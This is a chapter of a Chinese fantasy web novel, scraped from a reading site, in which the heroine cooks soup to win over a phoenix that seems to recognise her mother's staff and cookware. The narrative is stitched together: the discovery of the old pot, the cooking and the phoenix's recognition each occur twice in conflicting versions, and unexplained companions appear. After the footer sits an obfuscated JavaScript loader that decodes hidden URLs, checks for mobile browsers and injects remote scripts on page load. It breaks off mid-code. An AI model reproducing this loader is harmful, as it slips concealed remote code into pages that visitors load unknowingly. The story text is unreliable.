首页
第134章 火山口的“凤凰巢
返回

第134章 火山口的“凤凰巢”

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第134章火山口的“凤凰巢”(第1/2页)
    那采药老汉倒是守信,领着四人七拐八绕,穿过一片密不透风的芭蕉林,又爬过一道几乎垂直的石灰岩壁,最后在一片豁然开朗的山坳前停住了脚。山坳正中央,一座黑黢黢的火山拔地而起,锥形的山体直插云霄,山顶的火山口正往外冒着滚滚浓烟,空气中弥漫着一股呛鼻的硫磺味。
    “到了。”老汉用柴刀指了指前方一条被杂草半掩的小径,“顺着这条路再走半个时辰,就能摸到火山脚下了。凤凰巢就在火山口东侧的那道崖壁上,远远能瞧见个影子。”他顿了顿,又补了一句,“丫头,老汉多嘴一句——那凤凰可不是好相与的,你要是没把握,趁早回头。”
    林灼华咧嘴一笑,露出一口白牙:“大爷,俺这人有个毛病——越是没人敢碰的东西,俺越得去瞅两眼。”她从怀里摸出两块干粮塞给老汉,“您回吧,谢您带路。”
    老汉接过干粮,叹了口气,摇摇头转身钻进了林子,身影很快消失在一片浓绿之中。
    林灼华收了笑,回头看了一眼身后的三人——沈玉郎正扶着膝盖喘粗气,脸色白得像纸;阿绿蹲在地上,绿毛上沾满了泥点子,嘴里直嘟囔“累死俺了”;只有林灼霜站在最前面,仰头望着那座火山,目光沉沉。
    “走吧。”林灼华把铁棍往肩上一扛,大步朝前走去。
    越靠近火山,空气越热。脚下的泥土渐渐变成了焦黑色,踩上去“咔嚓”作响,像是踩碎了一层烧焦的壳。路边的草木也全枯死了,只剩下一些扭曲的、黑黢黢的树干,像被雷劈过一样。等四人绕过一道山弯,眼前豁然开朗——正前方是一座巨大的火山口,直径足有数十丈,像一只朝天张开的巨嘴。火山口边缘的岩石被长年累月的热力烤得通红,有些地方甚至能看到流动的岩浆,像一条条发亮的蛇在石缝间蜿蜒。
    而火山口东侧的那道崖壁上,赫然悬着一座巨大的巢穴。
    那巢穴用粗如人臂的赤红色树枝搭成,层层叠叠,足有三四间屋子那么大,远远看去像一团烧得正旺的火焰。巢穴周围飘散着淡淡的金色光点,像是被阳光筛落的碎金,在空气中缓缓浮动。
    林灼华眯起眼,还没来得及细看,一声尖锐的鸟鸣忽然从巢穴中炸开——
    “唳——”
    那声音穿透力极强,震得整座火山都像是抖了一下,崖壁上的碎石哗啦啦往下滚,溅起一片烟尘。林灼华下意识抬手挡在脸前,等碎石落尽,才放下胳膊,咂了咂嘴:“乖乖,这嗓门比茶婆喊俺起床上工还大。”
    沈玉郎被那声鸟鸣震得两耳嗡嗡作响,扶着岩壁稳住身形,脸色又白了几分:“这……这就是凤凰?光是叫一声就有如此威势,若是正面冲突……”
    “打不过。”林灼霜打断他,声音平静,“凤凰是上古神兽,修为深不可测,咱们四人联手也未必能接下它一翅膀。”她转头看向林灼华,“妹妹,硬取是不行的。”
    林灼华把铁棍往地上一杵,歪头看着那座巨大的巢穴:“谁说俺要硬取了?俺娘说过——跟人打交道,得先摸清对方想要啥。凤凰也是生灵,是生灵就有软肋。”她顿了顿,咧嘴一笑,“俺的绝活是啥?做饭啊。”
    沈玉郎愣了一下:“你打算……给凤凰做饭?”
    “咋了?不行啊?”林灼华理直气壮地一扬下巴,“俺师父说了,天下万物,没有一顿饭搞不定的。如果有,那就两顿。”
    阿绿蹲在旁边,挠了挠脑袋上的绿毛,发出一声朴实的疑问:“可是姑奶奶……凤凰能吃海鲜吗?它住火山口里,咱给它整一锅蛤蜊汤,它不得嫌腥啊?”
    林灼华噎了一下,瞪了阿绿一眼:“你管它吃啥呢!俺先做了再说——万一它就爱吃这口呢?”她嘴上硬气,心里却也在犯嘀咕。凤凰是火属性神兽,按理说应该爱吃点“热乎”的,海鲜大乱炖确实有点不搭调。但眼下她手里只有这口铁锅和从渔村带来的干货,总不能现杀一头火蜥蜴给它烤吧?
    她正琢磨着,林灼霜忽然开口:“你打算在哪儿架锅?”
    林灼华环顾四周,指了指火山口东侧一块较为平坦的岩石:“就那儿吧——离巢穴不远不近,它要是闻着味儿了,自己就会下来。”
    她说着,大步走过去,把背上的铁锅卸下来,“哐当”一声架在岩石上。沈玉郎和阿绿跟在她身后,一个帮着找干柴,一个蹲在旁边帮忙扇风。林灼霜则站在外围,目光始终没有离开那座巢穴,像是在戒备着什么。
    林灼华蹲下身,从包袱里翻出带来的食材——一把干海带、几条风干的黄花鱼、一小袋晒干的虾米,还有半罐子粗盐。她看了看这些寒酸的食材,又抬头看了看那座金碧辉煌的凤凰巢,忽然觉得有点底气不足。
    “这玩意儿……能给凤凰吃?”她小声嘀咕了一句,又咬了咬牙,“管他呢!先煮了再说!”
    她往铁锅里倒了半锅清水,架起火堆,等水烧开的功夫,她绕着那块岩石转了一圈,想找点能提鲜的野葱或山椒。这一转,她忽然愣住了。
    岩石后方的灰烬堆里,半埋着几样东西——一口缺了角的铜锅,锅壁上沾着黑褐色的焦痕;一根烧得只剩半截的铁钎子,钎头弯成了钩状;还有一把断了柄的菜刀,刀刃上满是豁口。
    林灼华蹲下身,伸手拨开灰烬,把那口铜锅拽了出来。锅底结着一层厚厚的焦壳,像是煮过什么东西,煮糊了,又没刷干净。她翻过铜锅,借着夕阳的余光,隐约看见锅底刻着三个歪歪扭扭的字——
    “天下第一”。
    林灼华愣了一下,“噗嗤”一声笑了出来:“嚯,这道友挺狂啊。”
    阿绿凑过来,好奇地瞅了一眼:“姑奶奶,这是啥?”
    “做饭的家伙什。”林灼华把铜锅放回原处,拍了拍手上的灰,“看来咱不是头一个想给凤凰做饭的——之前来过一位同行,看样子是没搞定。”她站起身,扫了一眼那些焦黑的厨具残骸,心里忽然多了几分警惕。
    这位同行留下的家伙什都烧成这样了,说明凤凰的口味——恐怕不好伺候。
    她正琢磨着,火堆上的铁锅已经“咕嘟咕嘟”冒起了热气。林灼华赶紧收回心思,把干海带撕成段丢进锅里,又拿剪刀把黄花鱼剪成几截,连着虾米一起下了锅。不多会儿,一股浓烈的鲜味便随着热气飘散开来,在硫磺味弥漫的空气中显得格格不入。
    阿绿吸了吸鼻子,绿毛都精神了几分:“姑奶奶,闻着还挺香……”
    林灼华用勺子搅了搅锅里的汤,又捏了一撮粗盐撒进去,盐粒在沸水里打着转儿化开。她正想尝尝咸淡,头顶忽然传来一声低沉的、带着几分沙哑的鸟鸣——
    “呜……”
    那声音不像刚才那声尖啸那么刺耳,反而沉甸甸的,像闷雷滚过云层,又像是什么东西在喉咙深处呜咽。林灼华手一抖,勺子差点掉进锅里。她猛地抬头,只见那座巨大的凤凰巢边缘,不知何时探出了一颗鸟首——赤金色的羽毛在夕阳下流光溢彩,一双琥珀色的竖瞳正居高临下地俯视着她。
    林灼华咽了口唾沫,手里的勺子握紧了。那凤凰没有看她锅里的汤,也没有看她手里的勺子。它的目光越过她,直直地落在她腰间那根黑黢黢的铁棍上,半晌,又发出一声低沉的、似曾相识的呜咽。
    林灼华被那声呜咽弄得心里头一颤,像是被人拿手指头拨了一下心窝子。她低头看了看腰间那根黑黢黢的铁棍,又抬头看了看凤凰,一时竟分不清那呜咽里藏着的到底是敌意还是别的东西。
    “呜……”凤凰又低低地叫了一声,脑袋往巢穴边缘探了探,赤金色的羽毛在夕阳下泛着暖融融的光。它没有扑下来,也没有喷火,就那么歪着头,直勾勾地盯着林灼华腰间的灼华棍,像是在辨认什么旧相识。
    林灼霜不知何时已经凑到了林灼华身边,压低声音说:“它盯着你的棍子——别动,先看看它想干啥。”
    沈玉郎也贴了过来,声音比蚊子还细:“那棍子是不是你娘留下的?它别是认得这棍子……”
    林灼华没吭声,心里头翻来覆去地琢磨。她这棍子是眉引老头给的,说是上古神器灼华棍,后来又知道是引眉一脉的传承之物,可她从没听谁提过这棍子跟凤凰有啥瓜葛。眼下凤凰这副模样,倒像是见了老熟人似的。
    她试探着把棍子从腰间抽出来,举在身前,棍身黑黢黢的,在暮色里泛着一点暗沉的光。凤凰的竖瞳跟着那根棍子转了转,喉咙里又是一声低低的呜咽,这回听着近了些,也软了些,像是认出了什么,又像是隔着二十年时光在唤一个旧人的名字。
    林灼华心口忽然一酸,说不清是啥滋味。她攥着棍子,往前迈了一步,凤凰没有动。她又迈了一步,凤凰还是没动。阿绿在后头急得直挠头,压低嗓子喊:“姑奶奶!你干啥呢!那可是凤凰!你当是村口的大鹅呢!”
    林灼华没理他,又往前走了两步,已经能看清凤凰颈子上一根根赤金色的羽毛在风里轻轻颤动。她深吸一口气,学着娘亲当年哄她的语气,轻声说:“你认得这根棍子?还是……认得拿这根棍子的人?”
    凤凰的竖瞳微微眯了眯,喉咙里那声呜咽忽然低了下去,像是被什么东西哽住了。夕阳最后一点余晖落在它头顶的羽冠上,金光流转间,林灼华恍惚看见凤凰眼底闪过一丝极淡的、像是怀念的神色。
    然后它收回脑袋,在巢穴边缘蹲了下来,翅膀微微张开,像是一只老母鸡护崽似的,把身子往巢里沉了沉——那姿态,竟带着几分温驯。
    林灼霜在背后轻轻吁了一口气,说:“它不敌视你。”
    沈玉郎也松了口气,小声嘀咕:“吓死我了……我还以为它要喷火把咱几个烤了当晚饭。”
    (本章未完,请点击下一页继续阅读)第134章火山口的“凤凰巢”(第2/2页)
    阿绿更是腿一软,直接蹲在地上,绿毛都蔫了,嘴里念叨着:“乖乖……姑奶奶你真是……凤凰都让你给哄住了……你上辈子是不是养过鸟啊?”
    林灼华没接话,她定定地看着蹲在巢边的凤凰,心里头翻涌着说不清道不明的情绪。她不知道这凤凰到底认不认得她娘,也不知道它盯着那根灼华棍看了那么久,是不是想起了什么旧事。她只知道,那只凤凰看着她的眼神,像极了村里那些看着小辈长大的老人——带着一点审视,一点回忆,还有一点说不清道不明的软和。
    她低头看了看锅里的海肠汤,汤还在咕嘟咕嘟冒着泡,只是方才那股子焦糊味已经被海肠的鲜味盖了过去。她犹豫了一下,回头冲饕渊喊:“再拿两条鱼来——俺多炖点。”
    饕渊应了一声,从包袱里翻出两条干巴巴的咸鱼递过去。林灼华接过鱼,也没洗,直接扔进锅里,又添了一勺水,拿勺子搅了搅。
    她抬头看了一眼蹲在巢边的凤凰,清了清嗓子,说:“那啥……你要是真认得这根棍子,那咱也算半个熟人。俺不白拿你东西——俺炖锅汤给你尝尝,你要是觉得中,就拔根毛给俺;要是觉得不中,俺们扭头就走,绝不赖着。”
    凤凰歪了歪头,没吭声。
    林灼华也不管它听不听得懂,自顾自地蹲在锅边,拿勺子撇着浮沫,嘴里絮絮叨叨地念着:“俺娘走得早,俺也没见过她几面……这根棍子是俺师父给的,说是引眉一脉传下来的。你要是认得它,那你也该认得俺娘吧?俺娘叫林引眉,你记得她不?”
    锅里的汤咕嘟咕嘟地滚着,咸鱼的鲜味混着海肠的腥香,顺着晚风飘散开去。凤凰蹲在巢边,赤金色的羽毛在暮色里微微发亮,没有动,也没有叫。
    林灼华也没回头,就那么蹲在锅边,一边搅汤一边念叨,像是跟一个认识了很久的老人拉家常。她说了她娘留的引眉簪,说了补天小分队的铁憨憨和阿蛮,说了茶婆的茶、饕渊的烤鱼、火灵的火候——说了这一路走来遇见的那些人和事,也说了她心里头那份说不清道不明的、对素未谋面的娘的挂念。
    说到最后,她自己都有点不好意思了,挠了挠后脑勺,说:“行了,俺话多,你别嫌烦——汤好了,你尝尝不?”
    她盛了一碗汤,端在手心里,朝凤凰举了举。凤凰盯着那碗冒着热气的汤,沉默了很久,久到林灼华以为它不会理她了,正要收回手,凤凰却忽然从巢边探下头来,尖喙轻轻碰了碰碗沿,然后低头,啄了一口汤。
    汤是烫的,凤凰的喉咙动了动,把那一口汤咽了下去。然后它抬起头,琥珀色的竖瞳定定地看着林灼华,喉咙里发出一声低低的、软软的呜咽——那声音里不再有警惕,也不再有试探,倒像是一声叹息,隔了二十年,终于落到了实处。
    林灼华捧着碗,忽然觉得鼻尖有点酸。她也不知道自己酸啥,就是觉得,这一锅糊了的海肠咸鱼汤,好像炖出了点别的味道。
    凤凰喝了汤,没再叫唤,也没再喷火星子。它就那么蹲在巢边,歪着脑袋,琥珀色的竖瞳一眨不眨地盯着林灼华看,看得她心里发毛。
    林灼华被盯得浑身不自在,低头看了看自己,又看了看手里的汤碗,说:“咋了?汤里泡着啥了?”
    凤凰没动。
    沈玉郎在后面小声说:“它看的是你腰间的灼华棍。”
    林灼华低头一瞧,灼华棍正别在腰后,棍身乌沉沉的,在火山口暗红的天光下泛着一点不起眼的金属光泽。她伸手摸了摸棍子,再抬头时,凤凰的视线果然跟着她的手移动,落在灼华棍上,定住了。
    “你认识这棍子?”林灼华试探着问。
    凤凰没有点头,也没有摇头,但它喉咙里又发出一声低低的呜咽,比方才那声更沉、更长,像是从胸腔深处挤出来的。那声音在火山口回荡着,震得脚底的山石微微发颤。
    林灼霜不知何时已经走到林灼华身侧,压低声音说:“它不是在看你——它在看棍子上的纹路。你看棍身靠近握柄的地方,是不是刻着一圈细纹?”
    林灼华翻过灼华棍,凑近一看,果然——棍身靠近握柄的地方,有一圈极细的纹路,平时被手汗和尘土糊着,根本看不出来。她拿袖子擦了擦,纹路在火光下渐渐清晰起来,像是一圈缠绕的藤蔓,又像是某种古老的符文。她从来不知道灼华棍上有这东西。
    “这啥时候刻上去的?”林灼华嘀咕。
    “不是刻的。”林灼霜的声音很轻,“是烙上去的——用灵火烙的。能在灼华棍上烙纹的人,这世上没几个。”
    林灼华心头一跳。她想起眉引老头说过的话——灼华棍是上古神器,引眉一脉代代相传,能驾驭它的人屈指可数。而能在棍身上留下印记的,除了历任主人,再没有别人。
    凤凰还在盯着那圈纹路,琥珀色的竖瞳里映着火光,像是想起了什么很久远的事情。过了好一会儿,它终于收回视线,低头又啄了一口碗里的汤,这回喝得慢了些,像是在品味道。
    沈玉郎见气氛缓和,壮着胆子往前凑了两步,拱手道:“凤凰前辈,我们冒昧打扰,实在是有要事相求——我这位同伴是引眉血脉的传人,她师父被困在无间狱,需要凤凰羽作为钥匙之一才能打开狱门。不知前辈能否割爱,赐我们一根羽毛?”
    凤凰连眼皮都没抬。
    沈玉郎又说:“我们愿意用东西换——您想要什么,只要我们拿得出来的,尽管开口。”
    凤凰抬了抬眼皮,看了看他,又看了看他空空如也的双手,打了个响鼻,那意思明摆着:你身上啥也没有,拿什么换?
    沈玉郎被噎得说不出话。林灼华在旁边看着,差点笑出声,说:“你这书呆子,跟凤凰谈买卖,你手里连块银子都没有,人家能搭理你才怪。”
    沈玉郎脸一红,说:“我这不是想着以诚动人嘛!”
    “以诚动人?”林灼华撇了撇嘴,“你诚是诚了,人家凤凰又不缺你这点诚意——它缺的是吃的。”
    她说着,把汤碗往地上一放,撸起袖子,转头对阿绿喊:“阿绿!把锅架起来!俺要给凤凰做顿饭!”
    阿绿正蹲在火山口边上,被热浪烤得蔫头耷脑,一听这话,绿毛都炸起来了:“姑奶奶,您在说啥?这地方连根草都不长,您上哪儿找食材去?”
    “食材?”林灼华一拍腰间的布包,“俺带着呢!来的路上顺路捡了几个海胆,还有两条干海鱼,加上俺包里那包海带——够做一锅海鲜乱炖了!”
    阿绿瞪大了眼睛:“凤凰吃海鲜?”
    “你管它吃啥呢!先做了再说!”林灼华说着,已经蹲下来开始架锅。
    这火山口的地面滚烫,锅架上去没一会儿就热得滋滋响。她从包袱里掏出海胆、干海鱼和海带,又摸出一把干辣椒和一小罐盐,开始收拾食材。铁憨憨在旁边帮忙劈柴——说是劈柴,其实是从火山口边缘捡来的几根焦黑的枯枝,也不知道是什么树的根,被地热烤得干透,一折就断,烧起来倒是旺得很。
    火升起来的时候,林灼华把海鱼放进锅里干煎,鱼皮碰到滚烫的锅底,发出“滋啦”一声响,香气一下子冒了出来。她又往锅里加了水,丢进海带和干辣椒,盖上锅盖,让汤慢慢炖着。
    凤凰的鼻翼轻轻翕动了两下,脑袋往这边偏了偏。
    林灼华假装没看见,低头搅着汤锅。她一边搅一边打量凤凰巢穴周围的地面,这一看,她忽然愣住了——巢穴周围的火山灰里,散落着好几样东西:半截烧焦的铁铲、一个裂了口的陶罐、一把锈得看不出原本模样的菜刀,还有一个歪歪扭扭的铜锅,锅底破了个洞,被随手扔在乱石堆里。
    那些东西都带着被火燎过的痕迹,焦黑发脆,显然在这里躺了很长年头了。林灼华走过去,拎起那把锈菜刀掂了掂,刀柄上还缠着一圈麻绳,已经被火烤得碳化,一碰就掉渣。
    “这……这是有人来过?”林灼华转头看向林灼霜。
    林灼霜走过来,蹲下看了看那堆残骸,眉头微微皱起:“不是来过——是在这儿住过。你看那把铜锅的锅沿,被磨得锃亮,说明用得很多;还有那把铁铲,铲头卷了刃,是反复用来翻动食材才会磨成这样的。”
    “厨具?”沈玉郎也凑过来,拎起那半截铁铲看了看,“有人在这火山口做过饭?”
    “而且不是做了一顿两顿。”林灼霜站起身,环顾四周,“能在凤凰巢穴旁边安营扎寨、生火做饭,还全身而退的人——要么是胆子大到没边,要么就是跟凤凰有交情。”
    林灼华握着那把锈菜刀,心里忽然涌起一种说不清道不明的感觉。她低头看着刀柄上那圈焦黑的麻绳,忽然觉得,那麻绳缠的方式有点眼熟——她娘生前系围裙的时候,总爱把绳头拧成一股,在腰后别个结,跟这刀柄上的缠法一模一样。
    她心头猛地一跳,正要细看,身后忽然传来一声低沉的呜咽。
    她回过头,凤凰不知何时已经探下头来,琥珀色的竖瞳正定定地望着她——准确地说,是望着她手里那把锈菜刀。凤凰的喉咙里发出一声更沉的、更软的声音,像是隔了二十年,终于认出了什么。
    林灼华握着那把锈刀,站在火山口的热风里,忽然觉得眼眶有点烫。她低头看了看刀柄上那圈焦黑的麻绳,又抬头看了看凤凰,心里忽然明白了——这凤凰巢穴周围散落的厨具,不是别人留下的。那是一个她娘那样的人,曾经在这里生活过的痕迹。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 